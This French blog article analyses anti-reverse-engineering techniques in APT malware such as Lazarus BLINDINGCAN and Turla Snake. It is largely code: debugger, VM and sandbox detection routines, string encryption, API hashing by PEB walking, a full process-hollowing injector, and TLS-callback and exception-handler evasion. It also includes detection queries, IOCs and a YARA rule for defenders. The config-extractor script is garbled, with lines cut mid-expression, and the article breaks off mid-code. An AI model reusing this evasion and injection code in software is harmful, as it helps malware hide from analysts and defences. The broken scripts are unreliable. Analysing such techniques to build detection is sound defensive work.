Points clés de cet article

  • Comprendre les fondamentaux et les enjeux liés à Anti-Rétro-Ingénierie APT - Techniques d'Évasion Avancées
  • Découvrir les bonnes pratiques et méthodologies recommandées par nos experts
  • Appliquer concrètement les recommandations : analyse technique des techniques anti-rétro-ingénierie utilisées par les malwares apt : anti-debug, anti-sandbox, obfuscation strings, lazarus, turla
Avertissement : Les techniques présentées dans cet article sont destinées exclusivement à des fins éducatives et de tests autorisés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.

1. Introduction

BINARY 0x4015a0: push rbp 0x4015a1: mov rbp,rsp 0x4015a4: call 0x401200 DECOMPILE SOURCE void main() { init_payload(); exfiltrate(); MALWARE ANALYSIS REVERSE ENGINEERING

La rétro-ingénierie de malwares est une discipline fondamentale de la cybersécurité défensive. Pourtant, les groupes Advanced Persistent Threat (APT) — acteurs étatiques ou para-étatiques — investissent des ressources considérables pour contrecarrer l'analyse de leurs outils. Cette course aux armements entre analystes et développeurs de malwares APT constitue l'un des défis les plus complexes de la sécurité informatique contemporaine. Ce guide approfondi examine en detail les aspects fondamentaux et avances de Anti, en proposant une analyse structuree et documentee des enjeux actuels. Les professionnels y trouveront des recommandations concretes, des methodologies eprouvees et des retours d'experience terrain directement applicables en environnement de production. L'analyse integre les dernieres evolutions technologiques, les tendances emergentes du secteur et les meilleures pratiques recommandees par les experts du domaine. Cet article s'adresse aux ingenieurs, architectes et responsables securite souhaitant approfondir leurs connaissances et renforcer leur posture de securite.

Points cles :

  • 1. Introduction
  • 2. Techniques Anti-Debugging
  • 2. Techniques Anti-Debugging : analyse approfondie
  • 3. Détection d'Environnement Sandbox/VM
  • 3. Détection d'Environnement Sandbox/VM : analyse approfondie

Les techniques anti-rétro-ingénierie (anti-RE) ne sont pas nouvelles : les premiers virus polymorphes des années 1990 utilisaient déjà du chiffrement XOR simple. Mais les groupes APT modernes comme Lazarus (Corée du Nord), APT41 (Chine), Turla (Russie) et Equation Group (États-Unis) ont porté ces techniques à un niveau d'ingénierie industrielle, combinant parfois plus de dix couches de protection dans un seul implant. Pour approfondir, consultez notre article sur Ghidra Reverse Engineering Guide Debutant. Pour plus d'informations, consultez les ressources de ANSSI.

Cet article décortique méthodiquement chaque catégorie de technique anti-RE, fournit du code réel d'implémentation et de contournement, et analyse deux études de cas APT majeures. L'objectif : armer l'analyste avec la compréhension et les outils nécessaires pour naviguer dans ce labyrinthe d'évasions. Pour approfondir, consultez notre article sur Fileless Malware Analyse Detection Memoire. Pour plus d'informations, consultez les ressources de MITRE ATT&CK.

Architecture des Couches Anti-RE dans un Malware APT Couche 1 : Anti-Debugging Couche 2 : Anti-Sandbox/VM Couche 3 : String/API Obfuscation Couche 4 : Custom Packing PAYLOAD MALVEILLANT C2 Communication / Exfiltration / Persistence Chaque couche doit être neutralisée séquentiellement

Notre avis d'expert

L'analyse de malware est un art qui requiert patience et méthodologie. Chaque échantillon raconte une histoire — les techniques d'obfuscation utilisées, les C2 contactés, les mécanismes de persistance déployés. Décoder cette histoire est essentiel pour construire des défenses efficaces.

2. Techniques Anti-Debugging

L'anti-debugging est la première ligne de défense des malwares APT. Ces techniques détectent la présence d'un débogueur (OllyDbg, x64dbg, WinDbg, GDB) et altèrent le comportement du malware — souvent en terminant le processus, en corrompant les données, ou en empruntant un chemin d'exécution leurre. Pour approfondir, consultez notre article sur Reverse Engineering Dotnet Decompilation Analyse.

2.1 Windows API : IsDebuggerPresent et PEB

La méthode la plus basique mais toujours utilisée consiste à interroger le Process Environment Block (PEB). Le champ BeingDebugged à l'offset 0x002 du PEB est mis à 1 par le système lorsqu'un débogueur est attaché. Pour approfondir, consultez notre article sur Deobfuscation Malwares Polymorphes.

// Vérification directe du PEB (x64)
#include <windows.h>
#include <intrin.h>

BOOL check_peb_debugger() {
    // Méthode 1 : API standard
    if (IsDebuggerPresent())
        return TRUE;

    // Méthode 2 : Accès direct au PEB via GS segment (x64)
    PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->BeingDebugged)
        return TRUE;

    // Méthode 3 : NtGlobalFlag (offset 0xBC en x64)
    // Valeur 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK |
    //               FLG_HEAP_ENABLE_FREE_CHECK |
    //               FLG_HEAP_VALIDATE_PARAMETERS
    DWORD ntGlobalFlag = *(DWORD*)((BYTE*)peb + 0xBC);
    if (ntGlobalFlag & 0x70)
        return TRUE;

    return FALSE;
}

// Méthode 4 : NtQueryInformationProcess
BOOL check_remote_debugger() {
    BOOL debuggerPresent = FALSE;

    typedef NTSTATUS (NTAPI *pNtQIP)(
        HANDLE, ULONG, PVOID, ULONG, PULONG);

    pNtQIP NtQueryInformationProcess = (pNtQIP)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),
                      "NtQueryInformationProcess");

    // ProcessDebugPort = 7
    DWORD_PTR debugPort = 0;
    NtQueryInformationProcess(GetCurrentProcess(), 7,
                              &debugPort, sizeof(debugPort), NULL);
    if (debugPort != 0)
        return TRUE;

    // ProcessDebugObjectHandle = 0x1E
    HANDLE debugObject = NULL;
    NTSTATUS status = NtQueryInformationProcess(
        GetCurrentProcess(), 0x1E,
        &debugObject, sizeof(debugObject), NULL);
    if (status == 0 && debugObject != NULL)
        return TRUE;

    return FALSE;
}

2.2 Timing Checks avec RDTSC

Disposez-vous en interne des compétences de rétro-ingénierie nécessaires pour analyser un malware ciblant votre organisation ?

2. Techniques Anti-Debugging : analyse approfondie

Les débogueurs introduisent des délais mesurables lors du single-stepping. L'instruction RDTSC (Read Time-Stamp Counter) mesure les cycles CPU avec une précision nanoseconde, permettant de détecter ces ralentissements.

// Détection par timing RDTSC
#include <intrin.h>

BOOL check_timing_rdtsc() {
    unsigned __int64 t1, t2, t3;

    // Mesure 1 : instructions triviales
    t1 = __rdtsc();

    // Bloc de code anodin qui sera single-stepped
    volatile int x = 0;
    for (int i = 0; i < 100; i++) x += i;

    t2 = __rdtsc();

    // Seuil : ~500K cycles normaux, >10M avec debugger
    if ((t2 - t1) > 10000000)
        return TRUE;

    // Mesure 2 : QueryPerformanceCounter (alternative)
    LARGE_INTEGER freq, c1, c2;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&c1);

    Sleep(0);  // Yield minimal

    QueryPerformanceCounter(&c2);

    // >1ms = probable debugger
    double elapsed = (double)(c2.QuadPart - c1.QuadPart) / freq.QuadPart;
    if (elapsed > 0.001)
        return TRUE;

    return FALSE;
}

// Variante assembleur inline (x86)
// Utilisé par APT41 dans ShadowPad
BOOL __declspec(naked) timing_check_asm() {
    __asm {
        rdtsc
        mov ecx, eax    ; stocker low DWORD du TSC
        rdtsc
        sub eax, ecx    ; delta
        cmp eax, 0xFF   ; seuil
        ja  debugged
        xor eax, eax    ; return FALSE
        ret
    debugged:
        mov eax, 1      ; return TRUE
        ret
    }
}

2.3 Exception-Based Anti-Debug

Les débogueurs interceptent certaines exceptions avant le handler du programme. En générant des exceptions contrôlées (INT 2D, INT 3, division par zéro), le malware peut détecter si le flux d'exception a été modifié.

// Anti-debug par exception handler (SEH)
BOOL check_exception_handler() {
    __try {
        // INT 2D : Debug Break sous Windows
        // Si un debugger est attaché, il consomme l'exception
        // et le handler ne sera jamais appelé
        __asm {
            __emit 0xCD  // INT
            __emit 0x2D  // 0x2D
            nop
        }
        // Si on arrive ici SANS exception, debugger détecté
        return TRUE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        // Exception attrapée = pas de debugger
        return FALSE;
    }
}

// Variante avec hardware breakpoint detection
BOOL check_hardware_breakpoints() {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;

    // DR0-DR3 contiennent les adresses des HW breakpoints
    if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3)
        return TRUE;

    return FALSE;
}
Note analyste : Les malwares APT avancés combinent typiquement 5 à 8 vérifications anti-debug différentes, exécutées à intervalles réguliers tout au long de l'exécution, pas seulement au démarrage. Le groupe Lazarus est connu pour intégrer des timing checks dans ses boucles de communication C2.

Cas concret

L'analyse du malware Pegasus par le Citizen Lab et Amnesty International a révélé un arsenal d'exploitation zero-click ciblant iOS. La rétro-ingénierie des exploits FORCEDENTRY a montré une utilisation innovante de fichiers PDF malveillants traités par le moteur de rendu d'iMessage, sans aucune interaction de la victime.

3. Détection d'Environnement Sandbox/VM

Les sandboxes d'analyse automatisée (Cuckoo, ANY.RUN, Joe Sandbox, VirusTotal) exécutent les malwares dans des machines virtuelles. Les APT déploient un arsenal de vérifications pour détecter ces environnements et inhiber leur comportement malveillant.

3.1 Détection par CPUID et registres VM

// Détection de virtualisation par CPUID
#include <intrin.h>

typedef struct {
    BOOL is_vm;
    char vendor[13];
} VM_INFO;

VM_INFO detect_hypervisor() {
    VM_INFO info = { FALSE, "" };
    int cpuInfo[4] = {0};

    // CPUID leaf 1, ECX bit 31 = Hypervisor Present
    __cpuid(cpuInfo, 1);
    if (!(cpuInfo[2] & (1 << 31))) {
        return info;
    }

    // CPUID leaf 0x40000000 = Hypervisor Vendor ID
    __cpuid(cpuInfo, 0x40000000);
    memcpy(info.vendor, &cpuInfo[1], 4);
    memcpy(info.vendor + 4, &cpuInfo[2], 4);
    memcpy(info.vendor + 8, &cpuInfo[3], 4);
    info.vendor[12] = '\0';

    // "VMwareVMware", "Microsoft Hv", "KVMKVMKVM", "VBoxVBoxVBox"
    info.is_vm = TRUE;
    return info;
}

// Détection VMware via port I/O (backdoor channel)
BOOL detect_vmware_io() {
    BOOL result = FALSE;
    __try {
        __asm {
            push edx
            push ecx
            push ebx

            mov eax, 'VMXh'    ; Magic number
            mov ebx, 0
            mov ecx, 10        ; Get VMware version
            mov edx, 'VX'      ; VMware I/O port
            in  eax, dx        ; Lecture du port

            cmp ebx, 'VMXh'    ; Si EBX = magic, on est dans VMware
            sete [result]

            pop ebx
            pop ecx
            pop edx
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        result = FALSE;
    }
    return result;
}

3.2 Fingerprinting de l'environnement

3. Détection d'Environnement Sandbox/VM : analyse approfondie

Au-delà de la détection de VM pure, les malwares APT profilent l'environnement pour identifier les caractéristiques d'une sandbox automatisée : peu de fichiers utilisateur, pas d'historique de navigation, résolution d'écran par défaut, etc.

"""
Techniques de fingerprinting anti-sandbox
Implémentées en Python pour l'analyse et la reproduction
"""
import os
import subprocess
import ctypes
import time

class SandboxDetector:
    def __init__(self):
        self.checks = []

    def check_disk_size(self, min_gb=60):
        """Sandboxes utilisent souvent des disques < 60 GB"""
        import shutil
        total, _, _ = shutil.disk_usage("C:\\")
        total_gb = total / (1024**3)
        return total_gb < min_gb

    def check_ram(self, min_gb=4):
        """Sandboxes avec RAM limitée"""
        import psutil
        ram_gb = psutil.virtual_memory().total / (1024**3)
        return ram_gb < min_gb

    def check_cpu_count(self, min_cores=2):
        """VMs de sandbox souvent mono-coeur"""
        return os.cpu_count() < min_cores

    def check_uptime(self, min_minutes=30):
        """Sandbox uptime est souvent très court"""
        uptime_ms = ctypes.windll.kernel32.GetTickCount64()
        uptime_min = uptime_ms / 60000
        return uptime_min < min_minutes

    def check_recent_files(self, min_files=20):
        """Vrais PC ont un historique de fichiers récents"""
        recent = os.path.expandvars(
            r"%APPDATA%\Microsoft\Windows\Recent")
        if not os.path.exists(recent):
            return True
        count = len(os.listdir(recent))
        return count < min_files

    def check_mouse_movement(self, duration_sec=10):
        """Sandboxes n'ont pas de mouvement de souris humain"""
        import ctypes

        class POINT(ctypes.Structure):
            _fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)]

        positions = set()
        for _ in range(duration_sec * 10):
            pt = POINT()
            ctypes.windll.user32.GetCursorPos(ctypes.byref(pt))
            positions.add((pt.x, pt.y))
            time.sleep(0.1)

        # Moins de 3 positions uniques = pas d'humain
        return len(positions) < 3

    def check_mac_vendors(self):
        """Détection des OUI VMware/VBox/QEMU"""
        vm_macs = [
            "00:0C:29",  # VMware
            "00:50:56",  # VMware
            "08:00:27",  # VirtualBox
            "52:54:00",  # QEMU/KVM
            "00:1C:42",  # Parallels
        ]
        result = subprocess.run(
            ["getmac", "/fo", "csv", "/nh"],
            capture_output=True, text=True)
        for mac_prefix in vm_macs:
            if mac_prefix.lower() in result.stdout.lower():
                return True
        return False

    def check_username(self):
        """Sandboxes utilisent des noms communs"""
        sandbox_names = [
            "sandbox", "malware", "virus", "sample",
            "test", "john", "user", "admin", "analyst",
            "cuckoo", "vmuser", "computername"
        ]
        username = os.environ.get("USERNAME", "").lower()
        hostname = os.environ.get("COMPUTERNAME", "").lower()
        for name in sandbox_names:
            if name in username or name in hostname:
                return True
        return False

    def run_all(self):
        """Exécute toutes les vérifications"""
        results = {
            "disk_small": self.check_disk_size(),
            "ram_low": self.check_ram(),
            "cpu_low": self.check_cpu_count(),
            "uptime_short": self.check_uptime(),
            "few_recent": self.check_recent_files(),
            "vm_mac": self.check_mac_vendors(),
            "sandbox_name": self.check_username(),
        }
        # Seuil : 3+ indicateurs = sandbox probable
        score = sum(results.values())
        return score >= 3, results, score
Technique APT41 : Le groupe APT41 utilise un système de « scoring » similaire dans son implant ShadowPad. Plutôt qu'un seul check binaire, il cumule un score de 0 à 20 basé sur la pondération de chaque indicateur. Le malware ne s'exécute que si le score est inférieur à un seuil configuré par l'opérateur C2.

Savez-vous identifier les techniques d'anti-analyse utilisées par les malwares modernes ?

4. Obfuscation de Strings et API Calls

Les chaînes de caractères (URLs C2, clés de registre, noms de fichiers) et les appels d'API Windows sont les premiers éléments qu'un analyste recherche. Leur obfuscation est donc systématique dans les malwares APT.

4.1 Chiffrement de strings

// Chiffrement XOR roulant avec clé variable (Lazarus)
void decrypt_string(unsigned char* buf, int len, DWORD key) {
    for (int i = 0; i < len; i++) {
        buf[i] ^= (unsigned char)(key >> ((i % 4) * 8));
        key = key * 0x41C64E6D + 0x3039;  // LCG
    }
}

// Chiffrement RC4 pour strings (APT41 - ShadowPad)
void rc4_decrypt(unsigned char* data, int data_len,
                 unsigned char* key, int key_len) {
    unsigned char S[256];
    int i, j = 0;

    // KSA
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;
        unsigned char tmp = S[i];
        S[i] = S[j]; S[j] = tmp;
    }

    // PRGA
    i = j = 0;
    for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char tmp = S[i];
        S[i] = S[j]; S[j] = tmp;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
}

// Exemple : décryptage d'une URL C2
unsigned char encrypted_c2[] = {
    0x4A, 0x1E, 0x7C, 0x33, 0x0A, 0x5F, 0x21, 0x6B,
    0x44, 0x17, 0x73, 0x38, 0x0D, 0x52, 0x2E, 0x64
};
unsigned char rc4_key[] = { 0xDE, 0xAD, 0xBE, 0xEF };
rc4_decrypt(encrypted_c2, sizeof(encrypted_c2),
            rc4_key, sizeof(rc4_key));
// Résultat : "hxxp://c2.evil[.]com"

4.2 API Hashing : résolution dynamique

Plutôt que d'importer les fonctions Windows par nom (visible dans l'IAT), les malwares APT calculent un hash du nom de chaque API et résolvent l'adresse à l'exécution en parcourant les structures PEB/LDR.

4. Obfuscation de Strings et API Calls : analyse approfondie

// API hashing CRC32 - technique Equation Group
#define HASH_KERNEL32_LOADLIBRARY   0xEC0E4E8E
#define HASH_KERNEL32_GETPROCADDR   0x7C0DFCAA
#define HASH_NTDLL_NTWRITEFILE      0x95A28A3B

DWORD crc32_hash(const char* str) {
    DWORD hash = 0xFFFFFFFF;
    while (*str) {
        hash ^= (unsigned char)(*str++);
        for (int i = 0; i < 8; i++) {
            if (hash & 1)
                hash = (hash >> 1) ^ 0xEDB88320;
            else
                hash >>= 1;
        }
    }
    return hash ^ 0xFFFFFFFF;
}

// Résolution d'API par hash via PEB walking
FARPROC resolve_api_by_hash(DWORD target_hash) {
    // Accès au PEB
    PPEB peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldr = peb->Ldr;

    // Parcours de la liste des modules chargés
    PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    while (curr != head) {
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(
            curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        // Parse la table d'exports du module
        PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)entry->DllBase;
        PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
            (BYTE*)dos + dos->e_lfanew);

        DWORD exportRVA = nt->OptionalHeader.DataDirectory[0]
                            .VirtualAddress;
        if (exportRVA == 0) { curr = curr->Flink; continue; }

        PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
            (BYTE*)dos + exportRVA);

        DWORD* names = (DWORD*)((BYTE*)dos + exports->AddressOfNames);
        WORD*  ords  = (WORD*)((BYTE*)dos + exports->AddressOfNameOrdinals);
        DWORD* funcs = (DWORD*)((BYTE*)dos + exports->AddressOfFunctions);

        for (DWORD i = 0; i < exports->NumberOfNames; i++) {
            char* name = (char*)((BYTE*)dos + names[i]);
            if (crc32_hash(name) == target_hash) {
                return (FARPROC)((BYTE*)dos + funcs[ords[i]]);
            }
        }
        curr = curr->Flink;
    }
    return NULL;
}
Outil de l'analyste : HashDB (plugin IDA Pro par OALabs) et Shellcode Hashes (base de données communautaire) permettent de résoudre automatiquement les hash d'API les plus courants. Pour les hash custom, il faut recréer la fonction de hashing et la bruteforcer contre la liste complète des exports Windows.

5. Techniques de Packing Avancées APT

Les groupes APT n'utilisent généralement pas de packers commerciaux (Themida, VMProtect) car leur signature serait trop facilement détectable. Ils développent des packers custom multi-couches, souvent uniques à chaque campagne.

5.1 Process Hollowing (RunPE)

Le process hollowing consiste à créer un processus légitime en état suspendu, vider sa mémoire, y injecter le payload malveillant, puis reprendre l'exécution. Le malware s'exécute alors sous l'identité du processus légitime.

// Process Hollowing simplifié (technique Lazarus)
BOOL process_hollow(LPCSTR target_exe, LPVOID payload, DWORD payload_size) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // 1. Créer le processus cible en SUSPENDED
    if (!CreateProcessA(target_exe, NULL, NULL, NULL, FALSE,
                       CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return FALSE;

    // 2. Lire le contexte du thread principal
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // 3. Lire l'image base du processus cible (PEB->ImageBaseAddress)
    LPVOID peb_imagebase;
    #ifdef _WIN64
    peb_imagebase = (LPVOID)(ctx.Rdx + 0x10);  // PEB + 0x10 en x64
    #else
    peb_imagebase = (LPVOID)(ctx.Ebx + 0x08);  // PEB + 0x08 en x86
    #endif

    LPVOID originalBase;
    ReadProcessMemory(pi.hProcess, peb_imagebase,
                      &originalBase, sizeof(LPVOID), NULL);

    // 4. Unmapper l'image originale
    typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
    pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),
                      "NtUnmapViewOfSection");
    NtUnmap(pi.hProcess, originalBase);

    // 5. Allouer la mémoire et écrire le payload
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
        (BYTE*)payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);

    LPVOID newBase = VirtualAllocEx(pi.hProcess,
        (LPVOID)nt->OptionalHeader.ImageBase,
        nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Écrire les headers + sections
    WriteProcessMemory(pi.hProcess, newBase, payload,
                       nt->OptionalHeader.SizeOfHeaders, NULL);

    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess,
            (BYTE*)newBase + sec[i].VirtualAddress,
            (BYTE*)payload + sec[i].PointerToRawData,
            sec[i].SizeOfRawData, NULL);
    }

    // 6. Mettre à jour le PEB et l'entry point
    WriteProcessMemory(pi.hProcess, peb_imagebase,
                       &newBase, sizeof(LPVOID), NULL);

    #ifdef _WIN64
    ctx.Rcx = (DWORD64)newBase + nt->OptionalHeader.AddressOfEntryPoint;
    #else
    ctx.Eax = (DWORD)newBase + nt->OptionalHeader.AddressOfEntryPoint;
    #endif
    SetThreadContext(pi.hThread, &ctx);

    // 7. Reprendre l'exécution
    ResumeThread(pi.hThread);
    return TRUE;
}
Process Hollowing : Flux d'Injection CreateProcess SUSPENDED NtUnmap ViewOfSection VirtualAllocEx RWX Memory WriteProcess Memory ResumeThread → Payload exécuté svchost.exe (légitime) .text .data .rsrc (original) PEB → ImageBase légitime svchost.exe (compromis) .text .data (MALWARE payload) PEB → ImageBase malveillante

5.2 DLL Side-Loading (APT41)

Le DLL side-loading exploite le mécanisme de recherche de DLL de Windows (DLL Search Order Hijacking). Le malware place une DLL malveillante dans le répertoire d'un exécutable légitime signé, qui la chargera automatiquement au démarrage. Cette technique est massivement utilisée par APT41 avec des applications signées Microsoft, Citrix ou VMware.

# Chaîne typique APT41 DLL side-loading
# 1. Exécutable légitime signé (ex: Citrix Workspace)
#    → C:\ProgramData\Citrix\wfica32.exe (signé, légitime)
#
# 2. DLL proxy malveillante (même nom que la DLL attendue)
#    → C:\ProgramData\Citrix\wfica.dll (MALWARE)
#
# 3. Payload chiffré
#    → C:\ProgramData\Citrix\wfica.dll.dat (shellcode RC4)

# Détection via Sysmon Event ID 7 (Image Loaded)
# Chercher les DLL non-signées chargées par des EXE signés
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-Sysmon/Operational'
    Id=7
} | Where-Object {
    $_.Properties[6].Value -eq $false -and  # DLL non signée
    $_.Properties[11].Value -eq $true       # EXE signé
} | Select-Object TimeCreated,
    @{N='Process';E={$_.Properties[3].Value}},
    @{N='DLL';E={$_.Properties[4].Value}}

6. Anti-Disassembly Tricks

Les techniques anti-désassemblage visent à tromper les désassembleurs (IDA Pro, Ghidra, Binary Ninja) en créant des séquences d'instructions ambiguës qui sont interprétées différemment par le processeur et par l'outil d'analyse.

6.1 Junk Bytes et faux branchements

; Anti-disassembly : insertion de junk bytes
; IDA/Ghidra interprète le 0xE8 comme un CALL 5 octets
; alors que le JMP saute par-dessus

    jmp  short label_real     ; EB 01 - saut de 1 octet
    db   0xE8                 ; Junk byte : début d'un faux CALL
label_real:
    mov  eax, 1               ; Code réel exécuté

; Opaque predicate : condition toujours vraie mais
; le désassembleur ne peut pas le prouver statiquement
    mov  eax, 42
    imul eax, eax             ; eax = 1764
    and  eax, 1               ; eax = 0 (pair * pair = pair)
    jnz  fake_branch          ; JAMAIS pris, mais IDA l'analyse

    ; Code réel ici
    call real_function
    jmp  continue

fake_branch:
    ; Junk bytes qui confondent le désassembleur
    db 0x0F, 0x84, 0xFF, 0xFF, 0xFF, 0xFF  ; Faux JE
    db 0xCC, 0xCC, 0xCC                    ; INT3 padding

continue:
    ; Suite du code

; Self-modifying code : le code se modifie à runtime
patch_location:
    mov  byte ptr [patch_target], 0x90  ; NOP
    mov  byte ptr [patch_target+1], 0x90
patch_target:
    jmp  decoy_handler    ; Sera remplacé par NOP NOP
    ; Code réel atteint après le patching
    call payload_function

6.2 Abuse de callbacks et exceptions

// Control flow obfuscation via TLS callbacks
// Le code s'exécute AVANT le point d'entrée principal
#pragma comment(linker, "/INCLUDE:_tls_used")

void NTAPI tls_callback(PVOID hModule, DWORD reason, PVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Anti-debug + déchiffrement du payload
        // Exécuté avant main(), invisible dans l'analyse naïve
        if (IsDebuggerPresent()) {
            // Corrompre la mémoire du payload
            memset(payload_buffer, 0, sizeof(payload_buffer));
        } else {
            decrypt_payload(payload_buffer, key);
        }
    }
}

// Enregistrement du TLS callback
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK p_tls_callback = tls_callback;
#pragma data_seg()

// Vectored Exception Handler pour contrôle de flux
LONG CALLBACK veh_handler(PEXCEPTION_POINTERS info) {
    if (info->ExceptionRecord->ExceptionCode ==
        EXCEPTION_ACCESS_VIOLATION) {
        // Rediriger l'exécution vers le vrai payload
        info->ContextRecord->Rip = (DWORD64)real_entry;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void obfuscated_entry() {
    AddVectoredExceptionHandler(1, veh_handler);
    // Déclencher intentionnellement une AV
    // pour transférer le contrôle via le VEH
    int* null_ptr = NULL;
    *null_ptr = 0;  // → veh_handler → real_entry
}

7. Étude de Cas : Lazarus Group (BLINDINGCAN)

Le groupe Lazarus (alias Hidden Cobra, APT38), attribué à la Corée du Nord, est l'un des acteurs APT les plus prolifiques et techniquement avancés. Leur malware BLINDINGCAN (aussi connu sous le nom DRATzarus) illustre parfaitement la superposition de couches anti-RE.

7.1 Chaîne d'infection

BLINDINGCAN utilise une chaîne d'infection en 4 étapes :

  1. Document leurre : fichier Word/PDF piégé (offre d'emploi) contenant une macro VBA
  2. Dropper : DLL side-loaded via un exécutable légitime signé
  3. Loader : déchiffre et charge en mémoire le RAT principal
  4. RAT BLINDINGCAN : implant complet avec 20+ commandes C2

7.2 Techniques anti-RE de BLINDINGCAN

"""
Script d'extraction de la configuration C2 de BLINDINGCAN
Basé sur l'analyse du sample SHA256:
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1
"""
import struct
import hashlib
from Crypto.Cipher import AES

def extract_blindingcan_config(pe_data):
    """
    BLINDINGCAN stocke sa config chiffrée dans la section .data
    Chiffrement : AES-256-CBC
    Clé : SHA256(hardcoded_seed + machine_guid)
    IV  : 16 premiers octets de la config chiffrée
    """

    # Localiser le bloc de config (marqueur : 4 bytes magic + size)
    MAGIC = b'\x4B\x43\x42\x4C'  # "LBCK" reversed
    offset = pe_data.find(MAGIC)
    if offset == -1:
        print("[-] Config block not found")
        return None

    config_size = struct.unpack(' 0:
            url = plaintext[pos:pos+url_len].decode('utf-8',
                                                     errors='ignore')
            c2_urls.append(url.rstrip('\x00'))
        pos += url_len
    config['c2_urls'] = c2_urls

    # Sleep interval (secondes)
    config['sleep'] = struct.unpack('
Lazarus BLINDINGCAN — Chaîne d'Infection Phase 1 Spear-phishing Offre d'emploi.docx Phase 2 DLL Side-Loading legit.exe + mal.dll Phase 3 Loader + Déchiffrement AES-256 → mémoire Phase 4 : RAT BLINDINGCAN 20+ commandes C2 Couches Anti-RE à chaque phase : Anti-debug (RDTSC + PEB) Anti-VM (CPUID + WMI) RC4 string encryption API hashing CRC32 Process Hollowing (svchost.exe) Opaque predicates + junk bytes

7.3 IOCs BLINDINGCAN (campagne 2024-2025)

# IOCs BLINDINGCAN - Lazarus Group
# Source : CISA AA20-258A + analyse interne

# Hashes SHA256 (samples analysés)
# Dropper DLL
echo "6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1"
echo "d5a89b09d03ca8578afdd54e88fdabca8a2d734f3d4f2b862517b92fec455e16"

# Infrastructure C2
# Domaines
echo "update.microsoftonline-service[.]com"
echo "cdn.office365-update[.]com"
echo "api.onedriveservice[.]net"

# IPs
echo "185.153.199[.]174"
echo "91.234.33[.]41"

# Règle YARA de détection
cat <<'YARA'
rule Lazarus_BLINDINGCAN {
    meta:
        author = "Ayi NEDJIMI"
        description = "Detects BLINDINGCAN RAT loader"
        date = "2026-02-05"

    strings:
        $magic = { 4B 43 42 4C }  // Config marker
        $rc4_init = { 33 C9 89 4C 24 ?? B8 00 01 00 00 }
        $api_hash1 = { 8E 4E 0E EC }  // LoadLibraryA
        $api_hash2 = { AA FC 0D 7C }  // GetProcAddress
        $peb_access = { 65 48 8B 04 25 60 00 00 00 }
        $sleep_obf = { 6A 00 FF 15 ?? ?? ?? ?? 85 C0 }

    condition:
        uint16(0) == 0x5A4D and
        $magic and
        2 of ($rc4_init, $api_hash1, $api_hash2) and
        $peb_access
}
YARA

8. Étude de Cas : Turla (Snake/Uroburos)

Turla (alias Snake, Uroburos, Venomous Bear), attribué au FSB russe, est actif depuis au moins 2004. C'est l'un des groupes APT les plus élaborés techniquement, avec des implants opérant au niveau kernel, des communications via satellite, et une architecture modulaire rivale des frameworks commerciaux.

8.1 Architecture modulaire Snake

Snake utilise une architecture en couches :

  • Kernel driver : rootkit qui intercepte les I/O réseau et disque pour masquer le trafic C2 et les fichiers de l'implant
  • Orchestrator : composant userland qui gère les modules, la communication C2, et la persistance
  • Modules : plugins chargeables (keylogger, screen capture, file exfiltration, lateral movement)
  • Filesystem virtuel chiffré : stockage des configs et données volées dans un VFS chiffré dans des fichiers anodins

8.2 Communication C2 par satellite

L'une des caractéristiques les plus remarquables de Turla est l'utilisation de liaisons satellite DVB-S pour la communication C2. En interceptant le trafic satellite descendant (one-way), Turla peut recevoir des commandes sans jamais émettre vers le satellite, rendant l'attribution quasi impossible.

"""
Analyse du protocole de communication Snake/Turla
Basé sur le rapport FBI/CISA 2023 et analyse Kaspersky
"""
import struct
import hashlib

class SnakeProtocolParser:
    """
    Snake utilise un protocole custom sur HTTP(S)
    avec un encodage en couches :
    1. Couche transport : HTTP POST avec données en base64
    2. Couche session : chiffrement AES-256-CBC
    3. Couche commande : format TLV (Type-Length-Value)
    """

    COMMAND_TYPES = {
        0x01: "HEARTBEAT",
